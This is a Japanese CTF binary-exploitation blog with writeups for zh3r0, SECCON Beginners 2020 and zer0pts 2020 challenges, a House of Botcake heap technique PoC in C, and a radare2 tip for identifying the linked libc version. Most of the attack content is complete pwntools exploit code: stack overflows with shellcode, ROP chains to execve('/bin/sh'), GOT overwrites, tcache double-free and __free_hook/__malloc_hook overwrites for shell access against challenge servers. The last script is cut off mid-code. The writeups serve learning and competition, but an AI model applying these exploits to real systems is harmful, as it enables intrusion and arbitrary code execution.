context(os='linux',arch='amd64')
#binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

def hoge():
  pass

## exploit ###########################################

def exploit(canary,num):
  global c

  with open("test.txt","w") as f:
      f.write("A"*0x20000)

  ogs = [0x4f2c5,0x4f322,0x10a38c]
  tro = "🏆"
  medal = "🥇"

  c.recvuntil("->")
  c.sendline("yes")
  #c.send("yes"+"A"*0x10)
  c.recvuntil("->")
  c.sendline("yes")

  c.recvuntil("-> ")
  libcbase = int(c.recvline().rstrip(),16)
  #print("libcbase: "+hex(libcbase))

  c.recvuntil("->")
  c.send(medal*0x24 + canary + p8(num))

  if "Core" in c.recv(4):
    return False
  else:
    return True

def exploit2():
  global c

  with open("test.txt","w") as f:
      f.write("A"*0x20000)

  ogs = [0x4f2c5,0x4f322,0x10a38c]
  tro = "🏆"
  medal = "🥇"

  c.recvuntil("->")
  c.sendline("yes")
  #c.send("yes"+"A"*0x10)
  c.recvuntil("->")
  c.sendline("yes")

  c.recvuntil("-> ")
  libcbase = int(c.recvline().rstrip(),16)

  c.recvuntil("->")
  canary = '\xc1\x16\x8b\x99\x91\x9b\x1a\x31'
  c.send(tro*(0x24//4) + canary + "A"*4 + p64(libcbase+ogs[2])*0x2)
  return


## main ##############################################

if __name__ == "__main__":
    global c
    canary = ""

    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
      elif sys.argv[1][0]=="j":
        c = remote(rhp1["host"],rhp1["port"])
        exploit2()
        c.interactive()
    else:
        c = remote(rhp2['host'],rhp2['port'])

 

zh3r0{Be_awareof_static_stack_cookie_}

-3.141592: \x32\x64

唯一長時間かけた問題

 

なんか途中で32bit modeになってスタックポインタがイカれるため

mprotect()で.bssセクションをexecutableにして

そこにpushを使わないシェルコードをぶち込んでおくという問題

 

但し一番焦ったのはflagを提出した気になって提出をしていなかったこと

しかもtmpディレクトリで作業していたため、解き終わった後にexploitを消してしまうという失態を犯した。まぁ上位を狙ってるわけでもないしflagを通さなくてもいいやということで放置した

 

 

 

 

 #!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"
LIBCNAME = ""

#hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
ports = (9653,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################


def hoge():
    pass

## exploit ###########################################

def exploit():
  global c
  addr_main = 0x400130
  addr_bss = 0x600000

  c.recvuntil("name: ")
  # mprotect(addr_bss,0x1000,7)でbssをexecutableにする
  # rdiにはreadの返り値として0x7dを入れて0x4000e8でraxにmov
  c.send(p64(addr_bss)+p64(0x7)+p64(addr_bss)+p64(0xff)+p64(0)+p32(0x4000e8))
  c.recvuntil(": ")
  # executableにした後でexecve("/bin/sh")
  shellcode = asm("mov eax,0xb")
  shellcode += asm("mov ebx,{}".format(hex(addr_bss+0x4)))
  shellcode += asm("mov ecx,0")
  shellcode += asm("mov edx,0")
  shellcode += asm("int 0x80")
  pay = p32(addr_bss+0xc)+"/bin/sh\x00"+shellcode
  pay += "\xc9"*(0x7d-len(pay))
  c.send(pay)



## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 

zh3r0{is_it_32bit_or_64bit} 

 

9: armpw

ARM問っぽかったのでバイナリを見ることさえしませんでした。完

 

 

92: アウトロ

見出しのところの見出し番号、別に自然数順にする必要ないなぁと思って小数負数ありの適当な順番で組んでみたんですが、やっぱ見にくいですね

数字は整列した整数に限ります

 

 

自宅にGが出たら発狂するくらい嫌なのに

他人の家に出たら何であんなにテンション上がるんだろうなぁ

 

 

 

 

 

 

 

続く............

 

 

 

 

 

【pwn 29.0】SECCON Beginners CTF2020: writeup供養

 

 

 

 

 

1: イントロ

いつぞや開催された SECCON Beginners CTF 2020

競技中はあまり関与せず、molec0n CTFを眺めたり(眺めるだけ)、課題レポートをやったりしていましたが、終了後に全て解きました

折角なのでwriteupを供養します

 

 

 

2: Beginner's Heap

Point

めちゃめちゃ良い教材だと思います、1年前に出会いたかった...

 

概要

libc2.29におけるtcacheの問題

指示されたとおりにやっていればflagが貰えるようになっている

 

 

exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys


rhp1 = {'host':"bh.quals.beginners.seccon.jp",'port':9002} #for actual server
rhp2 = {'host':"localhost",'port':12300} #for localhost 
rhp3 = {'host':"",'port':23947} #for localhost running on docker
context(os='linux',arch='amd64')

def exploit(conn):
  conn.recvuntil("free_hook>: ")
  freehook = int(conn.recvline().rstrip(),16)
  conn.recvuntil("win>: ")
  win = int(conn.recvline().rstrip(),16)
  conn.recvuntil("hint")

  print("win: "+hex(win))
  print("freehook: "+hex(freehook))

  conn.recvuntil("> ")
  conn.sendline("2")
  conn.sendline("A"*8)
  
  conn.recvuntil("> ")
  conn.sendline("3")

  conn.recvuntil("> ")
  conn.sendline("1")
  conn.send("A"*0x3*0x8 + p64(0x21) + p64(freehook))

  conn.recvuntil("> ")
  conn.sendline("2")
  conn.sendline("hoge")

  conn.recvuntil("> ")
  conn.sendline("1")
  conn.send("A"*0x18 + p64(0x31))

  conn.recvuntil("> ")
  conn.sendline("3")

  conn.recvuntil("> ")
  conn.sendline("2")
  conn.send(p64(win))

  conn.recvuntil("> ")
  conn.sendline("3")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
  elif sys.argv[1][0]=="v":
    conn = remote(rhp3["host"],rhp3["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

 

3: Elementary Stack

問題概要

自明なOOBがありheapへのポインタを書換えてGOT overwrite

 

point

got[atol]を直接書き換えると引数も渡せないし、そもそも次のatol()で死ぬため1個上のgot[malloc]を書き換える

あとは FSA で libcbase を leak して終わり

 

exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "chall"

rhp1 = {'host':"es.quals.beginners.seccon.jp",'port':9003} #for actual server
rhp2 = {'host':"localhost",'port':12800} #for localhost 
rhp3 = {'host':"",'port':23947} #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF("./libc-2.27.so")

def hoge(conn,ix,val):
  conn.recvuntil("index: ")
  conn.sendline(str(ix))
  conn.recvuntil("value: ")
  conn.sendline(str(val))


def fuga(conn,ix,val,piyo=True):
  conn.recvuntil("index: ")
  conn.send(ix)
  if piyo:
    conn.recvuntil("value: ")
    conn.send(val)

off_system = 0x4f440

def exploit(conn):
  hoge(conn,-2,binf.got["malloc"]) # bufferをgot:mallocに向ける(使用するgotに向けるとそいつが呼び出せなくなるから注意)
  fuga(conn,p64(0xaaaa)+p64(binf.plt["printf"]),"%25$p\n") # atolをprintfにしたあと、atol("%25$p")でlibcbase leak
  
  libcbase = int(conn.recvline(),16) - 0x21b97
  
  fuga(conn,p64(0xaaaa)+p64(libcbase + off_system), "/bin/sh\0")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
  elif sys.argv[1][0]=="v":
    conn = remote(rhp3["host"],rhp3["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

4: ChildHeap

問題概要

- double free可能(libc2.29だから死ぬけど)

- 任意size malloc可能

- ユーザ側で保持できるchunkは一つ

- NULL overflow

- chunkをfree()するかfloat状態にさせておくかは自由

 

point

libc 2.29の誘導なしheap問

但しやることは突飛なことはないが、chunkが一つしか保持できないため若干面倒

まずNULL overflowを利用してtcacheのsizeを0x100に変えていきtcache[0x100]を溢れさせる

その途中でtcacheのfdを読んでheapbaseをleakしておく

 

あとはいい感じに chunk forge して back consolidationoverlapped chunk を作って

libcbase leak と freehook overwrite をする

 

ここらへんは正直メモリを眺めながら何となくでexploitを書いていればできるため、上手く説明のしようがないが

このあとのexploitでにおいて 「Fig.x」としてある状態のヒープのイメージ図を以下に用意した

 

f:id:smallkirby:20200525203103p:plain

Fig.1

f:id:smallkirby:20200525203121p:plain

Fig.2

f:id:smallkirby:20200525203136p:plain

Fig.3

f:id:smallkirby:20200525203149p:plain

Fig.4

 

exploit

自分の書いたPoCでは割と回りくどいことをしていたため、解き直して作問者様のPoCに寄せた

Fig.1~4と書いてある時点のヒープレイアウトが上の画像に対応している

 

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./childheap"

rhp1 = {'host':"childheap.quals.beginners.seccon.jp",'port':22476} #for actual server
rhp2 = {'host':"localhost",'port':12500} #for localhost 
rhp3 = {'host':"localhost",'port':23947} #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF("./libc-2.29.so")

ogs = [0xe237f,0xe2383,0xe2386,0x106ef8]

def hoge(conn,ix):
  conn.recvuntil("> ")
  conn.sendline(str(ix))

def alloc(conn,size,content):
  hoge(conn,1)
  conn.recvuntil("Size: ")
  conn.sendline(str(size))
  conn.recvuntil("Content: ")
  conn.send(content)

def delete(conn,yesno=True):
  hoge(conn,2)
  conn.recvuntil("Content: '")
  data = conn.recvuntil("'")[:-1]
  conn.recvuntil("] ")
  if yesno:
    conn.sendline("y")
  else:
    conn.sendline("n")
  return data

def wipe(conn):
  hoge(conn,3)

def de(conn):
  delete(conn)
  wipe(conn)

def ade(conn,size,overflow=False):
  a = "A"*size if overflow else "A"*(size-0x8)
  alloc(conn,size,a)
  de(conn)

def aw(conn,size,overflow=False): # without delete
  a = "A"*size if overflow else "A"*(size-0x8)
  alloc(conn,size,a)
  wipe(conn)

off_libc = 0x1e4e90
off_freehook = 0x1e75a8
off_system = 0x52fd0

def exploit(conn):
  ssize = 0x18#0x28
  msize = 0xf8
  lsize = 0x108#0x128

  ## fulfill tcache
  ade(conn,msize)
  for i in range(0x5):
    ade(conn,ssize)
    ade(conn,lsize)
    aw(conn,ssize,True)
    ade(conn,lsize)
      # now tcache has 6 chunks, 5 of them have fake size

  ## leak heap addr
  alloc(conn,msize,"A"*8)
  delete(conn)
  heapbase = unpack(delete(conn,False).ljust(8,'\x00'))-0x710
  print("heapbase: "+hex(heapbase))
  wipe(conn)


  ## forge fake chunk
  fake1 = "B" * 0x30
  fake1 += p64(heapbase + 0x9b0) + p64(heapbase + 0x9b0)
  fake2 = p64(0) + p64(0x100)
  fake2 += p64(heapbase + 0x990) + p64(heapbase + 0x990)
  ade(conn,ssize)
  ade(conn,lsize)
  aw(conn,ssize,True)
  alloc(conn,lsize,fake1+fake2) 
  de(conn)
  print("Fig.1")
                  # tcache[0x100] is full

  ade(conn,ssize+0x20)
  ade(conn,lsize)
  alloc(conn,ssize+0x10,(p64(0)+p64(ssize+0x8+1))*2)
  wipe(conn)
  alloc(conn,ssize+0x20,"C"*(ssize-0x8+0x20)+p64(0x100)) # null overflow
  de(conn)
  print("Fig.2")

  alloc(conn,lsize,(p64(0)+p64(0x21))*0x10)
  print("Fig.3")
  de(conn) # consolidate
  print("Fig.4")

  ## leak libcbase
  alloc(conn,0,"")
  libcbase = unpack(delete(conn,False).ljust(8,'\x00')) - off_libc
  print("libcbase: "+hex(libcbase)) 
  de(conn)

  ## 
  print("free_hook: "+hex(libcbase+off_freehook))
  inj = "D"*0xa0
  inj += p64(libcbase + off_freehook)
  inj += p64(heapbase + 0x10)
  alloc(conn,0x128,inj) # overwrite tcache[ssize+0x20]'s fd
  wipe(conn)
  alloc(conn,ssize+0x20,"G"*8) #
  wipe(conn)
  alloc(conn,ssize+0x20,p64(libcbase + off_system)) # overwrite free_hook
  wipe(conn)

  alloc(conn,0x70,"/bin/sh\x00")
  delete(conn,True)



if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
  elif sys.argv[1][0]=="v":
    conn = remote(rhp3["host"],rhp3["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

 

5: flip

問題概要

一番難しかった

終わってみれば若干の工夫こそ必要なもののやったことは複雑じゃないのに

何故か解くまでにめちゃくちゃ時間がかかった

というかGOT問が苦手なのかもしれない

 

point

- GOT overwrite (setbuf->puts)

- 相対書換え

got[_stack_chk_fail] と got[exit] の書換えを上手く使いわけて、setbufが呼ばれるループ・呼ばれないループを作り上げる

なお終盤まで flip 操作を暗算で行おうとしていたため、脳が死亡した

 

exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "flip"

rhp1 = {'host':"flip.quals.beginners.seccon.jp",'port':17539} #for actual server
rhp2 = {'host':"localhost",'port':12500} #for localhost 
rhp3 = {'host':"",'port':23947} #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF("./libc-2.27.so")

ogs = [0x4f2c5,0x4f322,0x10a38c]

def hoge(conn,target,n1,n2):
  conn.recvuntil(">> ")
  conn.sendline(str(target))
  conn.recvuntil(">> ")
  conn.sendline(str(n1))
  conn.recvuntil(">> ")
  conn.sendline(str(n2))

def fuga(conn,target,_from,_to):
  diff = _from ^ _to
  nums = []
  tmp = -10
  for i,c in enumerate(bin(diff)[2:][::-1]):
    if c=='1':
      nums = nums + [i]
  print(nums)

  while len(nums)>0:
    n1 = nums[0]
    nums = nums[1:]
    if len(nums) == 0:
      n2 = tmp
    else:
      n2 = nums[0]
      nums = nums[1:]

    if n2 != tmp:
      if n1//8 != n2//8:
        nums = [n2] + nums
        n2 = tmp
        #print("{} {} {}".format(n1//8,n1%8,n2))
        hoge(conn,target+(n1//8),n1%8,n2)
      else:
        #print("{} {} {}".format(n1//8,n1%8,n2%8))
        hoge(conn,target+(n1//8),n1%8,n2%8)
    else:
      #print("{} {} {}".format(n1//8,n1%8,n2))
      hoge(conn,target+(n1//8),n1%8,n2)



def exploit(conn):
  #got exit を start に
  hoge(conn,binf.got["exit"],4,5) # got_exit into start+6
  hoge(conn,binf.got["exit"],1,2) # got_exit into start

  ## start loop
  # stack_chk_fail into main
  fuga(conn,binf.got["__stack_chk_fail"],0x0676,0x07fa)
  # got[exit] to plt[stack_chk_fail]
  fuga(conn,binf.got["exit"],0x06e0,0x0670)

  ## main loop
  # got[setbuf] into puts
  fuga(conn,binf.got["setbuf"],0xf04d0,0xe89c0)
  # got[exit] into start
  fuga(conn,binf.got["exit"],0x70,0xe0)

  ## start loop
  # stderr into stderr+0x8
  fuga(conn,binf.symbols["stderr"],0x80,0x88)
  conn.recvuntil("Done!\n")
  conn.recvuntil("\n")
  libcbase = unpack(conn.recvuntil("\nI")[:-2].ljust(8,'\x00')) - 0x3ec703
  print("[+] libcbase: "+hex(libcbase))

################# 以降自由な世界 運が必要ないって素晴らしい ##################

  # got[exit] into plt[stack_chk_fail]+6
  hoge(conn,binf.got["exit"],4,7)
  # got[setbuf] into system
  fuga(conn,binf.got["setbuf"],libcbase + libc.symbols["puts"], libcbase + libc.symbols["system"])
  # stderr->flag into /bin/sh\x00
  fuga(conn,libcbase + libc.symbols["_IO_2_1_stderr_"],0xfbad2087,unpack("/bin/sh\x00"))
  # stderr into stderr
  fuga(conn,binf.symbols["stderr"],libcbase + libc.symbols["_IO_2_1_stderr_"]+8,libcbase + libc.symbols["_IO_2_1_stderr_"])

  # got[stack_chk_fail] into start
  fuga(conn,binf.got["exit"],binf.plt["__stack_chk_fail"],binf.symbols["_start"])

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
  elif sys.argv[1][0]=="v":
    conn = remote(rhp3["host"],rhp3["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

 

 

6: アウトロ

ルクセンブルクって

ル・クセンブルクなのか

ルクセンブル・クなのか分からないし、

ルクセンブルク大統領に至っては

ル・クセンブルク大統・領なのか

ル・クセンブル・ク大・統領なのかわかんないよな........

 

 

 

 

続く・・・

 

 

 

 

【pwn 28.0】 House of Botcake

 

 

 

 

 

1: イントロ

ある夜中に pwn の問題を作ろうとウトウトしながら過去のexploit手法を漁っていた

いくつか作りたい問題のアイディアこそ挙げていたのだが、その中にtcacheを題材としたものがあった

 

libc2.28 から tcache には新しく key というメンバが追加され、 free() されるとそこに tcache のアドレスが代入されるようになった

同時に free() の際には key の値をチェックし、もしこれがtcacheのアドレスと同一であった場合には double free としてエラーを吐くというような検知機構になっている

(厳密には key は free() 前にはユーザランドに存在し、 1/2^64 の確率で tcache のアドレスと一致してしまうため、仮に free() 時に偶然にも key==tcache となっていた場合には tcache のエントリを全探索して他のbinのような double free 検知を行うようにしてある。 キャッシュ効率を高める tcache の原理に反しているように思えるが、その再現確率の低さとtcacheの最大サイズが7であることによる全探索のコストの低さを考慮したものと思われる)

 

これ故に double free で chunk を tcache に繋げることは以前より難しくなっている

この機構をbypassする問題がなにか作れないかなぁと思い

モンスターを飲みながら、以前書いたブログの下書きである「既に使えなくなったpwn exploit一覧と現状」というエントリを見直していた

 

丁度 House of Einherjar を復習していた

これは _int_free() における back consolidation に於いて prev_size と PREV_INUSE を改変するというテクニックであるのは赤子から老人まで万人が知ることである

 

この back consolidation を利用して tcache 関連の問題を作れないかと考えて

深夜1時にアイディアを思いつき PoC を書いたところ

libc 2.29 環境下に於いて free済み chunk を tcache に繋ぎ

更にその fd を任意に書き換えることで AAW を実現することができた

 

 

こりゃあいいと思い、ブログを書く準備をしていたところ・・・

 

 

 

 

 

 

 

 

 

 

 

 

既出!

 

既出!!!!!

 

 

 

既出!!!!!!!!!!!

 

 

 

 

 

 

 

 

 

 

 

名前までご丁寧につけられていて House of Botcake と言うそうです

 

 

 

 

2: House of Botcake

 how2heap の commit 履歴に依ると、 2020年2月に公開された模様

 

できること

AAW

 

制約

・ 2種類のサイズの malloc()。 そのうち一つのサイズに対しては 9回 malloc() ができること

・ プログラムのロジック的に一度だけ double free が可能なこと

 

 

手法とPoC

 おそらく House of xxx 系では一番シンプルだと思われる

 

まずは PoC が以下の通り

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

#define WAIT while(fgetc(stdin)!='\n');
#define ull unsigned long long

ull ogs[3] = {0xc1710,0xdf202,0xdf20e};


int main(int argc,char *argv)
{
  // for the simplicity, let me gather some libc information
  ull libcbase = (ull)stdout -0x3b4760;
  ull malloc_hook = 0x3b3c30 + libcbase;

  // House of Botcake
  ull *a[7];
  for(int ix=0;ix!=7;++ix) //just to fulfill tcache
    a[ix] = malloc(0x90);
  ull *b = malloc(0x90); //invoke consolidation
  ull *c = malloc(0x90);
  ull *d = malloc(0x90); //avoid consolidation

  for(int ix=0;ix!=7;++ix)
    free(a[ix]);
  free(c);
  free(b); //invoke back-consolidation and overwrite c's key

  a[0] = malloc(0x90); // make space for c
  free(c); // connected to tcache. its key is no longer &tcache

  a[0] = malloc(0x120); // picked from unsortedbin and contains c in it
  *(ull*)(((ull)a[0]) + 0x90 + 0x10) = malloc_hook;

  a[1] = malloc(0x90);
  a[1] = malloc(0x90);
  *a[1] = (ull)(libcbase + ogs[0]);

  malloc(0x300); // invoke onegadget and get shell

  return 0;  
}

 

 殆どコメントに付してある通りである

 

 

まず最初にtcacheを満員にする用7つ、 back consolidation用2つ、 avoid consolidation用1つのchunkを確保しておく

 

その後7つのchunkを free() して tcache を満員にする

 

その後 C を free() すると、 これはunsortedに入るため bk (key) には main_arena のアドレスが入る

その後 B を free() すると、back consolidationが起こり BとC が合体する

 

この際 C のメタ情報は消去されずに、 大きな chunk に包含されるかたちで取り残される

この取り残された C に対して再び malloc() をしてやると

key のチェックでは入っている値が &tcache ではなく &main_arena であるから double free の検知には引っかからず C は tcache に繋がれることになる

 

しかも、その後任意のサイズ(>0x90)の malloc() をすることで B+C の unsorted から chunk が切り出されるのだが

それにより C の fd を任意の値に書き換えることができて AAW となる

 

 

 

 

 

実際に PoC を動かしてみると

 

f:id:smallkirby:20200318042608p:plain

tcache に繋がっているのは 0x555555757760 の chunk であるが

 

f:id:smallkirby:20200318042709p:plain

これは 0x5555557576b0 の chunk(=B+C) に包含されていることが分かる

 

 

手元の環境では __malloc_hook overwrite で onegadget に飛ばせることを確認した

 

 

 

 

 

3: アウトロ

 自分のアイディアなんて5億年前に誰かが既にやっとる

 

 

 

 

 

 

 

 

 

続く

 

 

 

 

 

 

 

 

 

 

【pwn 25.0】 radare2のzignatureを使ってstatically linked binaryのlibc versionを同定する

 

 

 

 

 

1: イントロ

日常で静的バイナリに於いてリンクされているlibcのversionを同定したいことがあると思います

今回は radare2zignatures functionality を用いて実現します

備忘録です。めちゃめちゃ短いです。

 

2: 既知のstatically linked binaryのzignaturesを入手する

libc versionが未知のバイナリ "test1" があったとします

これのバージョンを同定するには、比較対象となるlibc versionのstatically linked binaryを用意しておく必要があります 

 今回は test1 には libc 2.27 が静的リンクされています

 

さて、比較対象となるlibc versionのzignaturesを生成します

今回既知のバイナリ kill_kirby には libc2.27 がリンクされています

f:id:smallkirby:20200313235202p:plain

これだけ

 

3: zignaturesを比較してversionを同定する

 libc versionを同定したいバイナリをradare2で開き

先程生成した libc2.27 のzignaturesを読み込みます

f:id:smallkirby:20200313235819p:plain

鬼のようなwarning

 

それでは試しにlibc関数のzignaturesがヒットするかを確かめてみます

f:id:smallkirby:20200314000105p:plain

鬼のようなヒット数

 

因みに libc2.29 から生成したzignaturesファイルを使用すると以下のような結果になります

f:id:smallkirby:20200314000218p:plain

2つだけ

 

この結果から、対象バイナリに静的リンクされているlibcは2.27と推測することができます

 

 

4: アウトロ

尚この方法だと、比較対象となるzignaturesをlibc version毎に収集しておく必要があります

 

もっと良い方法をご存じの方、教えていただけるとありがたいです

 

 

 

 

 

 

続く

 

 

 

 

 

【pwn 24.0】 zer0pts CTF 2020 writeup (に満たない何か)

 

 

 

 

 

1: イントロ

 いつぞや開催された zer0pts CTF 2020 にチーム TSG として参加した

チームでは 8847点 を取り、 そのうち自分は 1382点 を解いて全体で 12位だった

 

f:id:smallkirby:20200309090754p:plain

 

 

pwn中心のCTFなのにもっと得点源になれないのはカスすぎますね

少しでもチームの得点に貢献できる日はいつになるのやら

 

 

 

 

2: hipwn

 やるだけ太郎

 

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"

rhp1 =  {"host":"13.231.207.73","port":9010}
rhp2 = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

int3_gad = 0x0040088c
syscall_gad = 0x004024dd
pop_rax_gad = 0x00400121
pop_rdi_gad = 0x0040141c
pop_rdx_gad = 0x004023f5
pop_rbx_gad = 0x0040019b
pop_rsi_r15_gad = 0x0040141a

def exploit(conn):
  conn.recvuntil("name?\n")
  pay = "/bin/sh\x00"
  pay += "A" * (0x108 - len(pay) - len("/bin/sh\x00"))

  pay += "/bin/sh\x00"
  pay += p64(pop_rax_gad)
  pay += p64(59)
  pay += p64(pop_rdi_gad)
  pay += p64(0x604268)
  pay += p64(pop_rsi_r15_gad)
  pay += p64(0)
  pay += p64(0)
  pay += p64(pop_rdx_gad)
  pay += p64(0)
  pay += p64(syscall_gad)
  
  conn.sendline(pay)


if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

結果 

f:id:smallkirby:20200309052915p:plain

 

 

3: diylist

 値を格納又は読み出しする際に、型を指定することができる

char* 型としてアロケートしたときのみmalloc()される

 

char* として allocate した後に

long として GOT のアドレスを書き込み

それを char* として読み出しすると、 libc関数のアドレスがリークできる

 

また delete する際には、値が pool に入っているもののみを char* 型としてfree()する + free() したあとも pool からその値が削除されないという仕様になっている

よって、アロケートしたchunkのアドレスをリークした後

long 型として chunk を複数アロケートして、リークしたアドレスの値を書き込み

それを delete することで容易にtcacheのdouble freeが起こる

尚、 libc は与えられていないが多分libc2.27だろうというメタ的推測をつけた (ha?)

(tcache の double free 検知は2.27にはない)

 

exploitは以下の通り

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"

rhp1 = {"host":"13.231.207.73","port": 9007}
rhp2 = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

def hoge(conn,ix):
  conn.recvuntil("> ")
  conn.sendline(str(ix))

def _add(conn,ty,data):
  hoge(conn,1)
  conn.recvuntil(": ")
  conn.sendline(str(ty))
  conn.recvuntil("Data: ")
  if ty==1 or ty==2:
    conn.sendline(str(data))
  else:
    conn.send(data)

def _get(conn,ix,ty):
  hoge(conn,2)
  conn.recvuntil("Index: ")
  conn.sendline(str(ix))
  conn.recvuntil(": ")
  conn.sendline(str(ty))
  conn.recvuntil("Data: ")
  return conn.recvline().rstrip()

def _edit(conn,ix,ty,data):
  hoge(conn,3)
  conn.recvuntil("Index: ")
  conn.sendline(str(ix))
  conn.recvuntil(": ")
  conn.sendline(str(ty))
  conn.recvuntil("Data: ")
  if ty==1 or ty==2:
    conn.sendline(str(data))
  else:
    conn.send(data)

def _del(conn,ix):
  hoge(conn,4)
  conn.recvuntil("Index: ")
  conn.sendline(str(ix))
  if "Success" not in conn.recvline():
    raw_input("[!] delete failed. enter to continue:")
  else:
    print("[-]successfully deleted")

off_puts = 0x809c0
off_strchr = 0x9d7c0
off_printf = 0x64e80
off_atol = 0x406a0
onegadgets = [0x4f2c5,0x4f322,0x10a38c]

target = "puts"

def exploit(conn):
  #leak libc
  _add(conn,3,"D"*8)
  print("[*]puts got: "+hex(binf.got[target]))
  _edit(conn,0,1,binf.got[target])
  puts_addr = unpack(_get(conn,0,3).ljust(8,'\x00'))
  libcbase = puts_addr - off_puts
  one1 = libcbase + onegadgets[2]
  print("[+]puts: "+hex(puts_addr))
  print("[+]libc base: "+hex(libcbase))
  print("[+]onegadget: "+hex(one1))
  
  #alloc chunk and avoid from freeing by changing the value different from the addr in the pool
  _add(conn,3,"A"*8)
  str_addr1 = int(_get(conn,1,1))
  print("[+]addr: "+hex(str_addr1))
  _edit(conn,1,1,0xdeadbeef)

  #double free the tcache
  _add(conn,1,str_addr1)
  _del(conn,2)
  _add(conn,1,str_addr1)
  _del(conn,2)
  
  #overwrite fd of tcache and write onegadget's addr on GOT of puts
  _add(conn,3,p64(binf.got["puts"]))
  _add(conn,3,p64(0xdeadbeef))
  _add(conn,3,p64(one1))


if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

結果

f:id:smallkirby:20200309055033p:plain

 

 

4: grimoire

セキュリティ機構とlibc ver

f:id:smallkirby:20200309060036p:plain

 

 まず第一に filepath を書き換えることで任意ファイルの読み込みは可能である

但し、フラグファイル名の推測がつかないため、不採用

f:id:smallkirby:20200309055409p:plain

overwrite filepath

f:id:smallkirby:20200309055425p:plain

it's impossible to guess it fuck

 

あー眠い

 

まず、 filepath が見当たらない際の error() に於いて FSA ができる

これによって、 textbase と libcbase の両方がリークできる

 

また、fp も自由に書き換えられるためfake _IO_FILE_plusを作る

但し libc 2.27 では _IO_vtable_check() が走ることに注意

今回は、 abortの際に _IO_str_jumps の中の _IO_str_overflow が呼ばれるようにvtableを書き換え

その中で呼ばれる _s._allocate_buffer で PC を取ることにした

 

但し、今回は運悪く movaps に引っかかったため

一度 call rsi gadget を挟んでおくことにした

rsi には _IO_write_baseだかendだかが入るため、ここに予めonegadgetの値を入れておく

f:id:smallkirby:20200309063646p:plain

とりあえず貼っとこ

 

 

結局攻撃のフローは以下のようになった

f:id:smallkirby:20200309063413p:plain

なにこの世界一意味のない図???

 

exploitは以下の通り

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"

rhp1 = {"host":"13.231.207.73","port":9008}
rhp2 = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

def hoge(conn,ix):
  conn.recvuntil("> ")
  conn.sendline(str(ix))

def _open(conn):
  hoge(conn,1)

def _read(conn):
  hoge(conn,2)
  conn.recvuntil("--*\n")
